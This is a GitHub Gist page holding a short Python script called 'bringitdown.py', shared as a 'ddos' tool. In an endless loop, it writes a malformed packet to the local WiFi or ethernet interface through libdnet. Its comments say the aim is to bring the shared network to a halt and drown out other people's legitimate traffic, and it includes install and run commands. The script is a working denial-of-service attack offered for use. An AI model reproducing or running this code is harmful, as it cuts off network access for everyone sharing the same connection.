Created
December 7, 2015 02:39
-
-
Save tofuseng/cbc666944fe18ed87c27 to your computer and use it in GitHub Desktop.
ddos
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# DDoS any WiFi network or ethernet interface you're connected do, drowning out other people's legitimate traffic with spam malformed packets | |
# brew install libdnet; pip install dnet | |
# sudo python bringitdown.py | |
import dnet | |
def bring_it_down(iface="en0", spam_packet='HOST:all|GET:spam'): | |
datalink = dnet.eth(iface) | |
h = datalink.get().encode('hex_codec') | |
mac = ':'.join([h[i:i+2] for i in range(0, len(h), 2)]) | |
print 'Interface: %s\nMAC Address: %s\nPayload: %s' % (iface, mac, spam_packet) | |
while True: | |
datalink.send(spam_packet) | |
# BEWARE, RUNNING THIS WILL BRING YOUR ENTIRE LOCAL NETWORK TO A HALT, DO NOT RUN IT IF YOU'RE ON A SHARED CONNECTION | |
# what this does is write 'HOST:all|GET:spam' directly to your network interface as fast as it can, drowning out outer people's legitimate traffic | |
# I'm not sure if it's the interference at the physical layer, or if it's the access point that gets hammered, either way, Wifi will slow to a halt for everyone connected to the same AP. | |
if __name__ == "__main__": | |
bring_it_down() | |
# if you have trouble getting python + libdnet to work, you can install it from source: | |
# wget http://libdnet.googlecode.com/files/libdnet-1.12.tgz | |
# tar xfz libdnet-1.12.tgz | |
# ./configure | |
# make | |
# sudo make install | |
# cd python | |
# python setup.py install |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment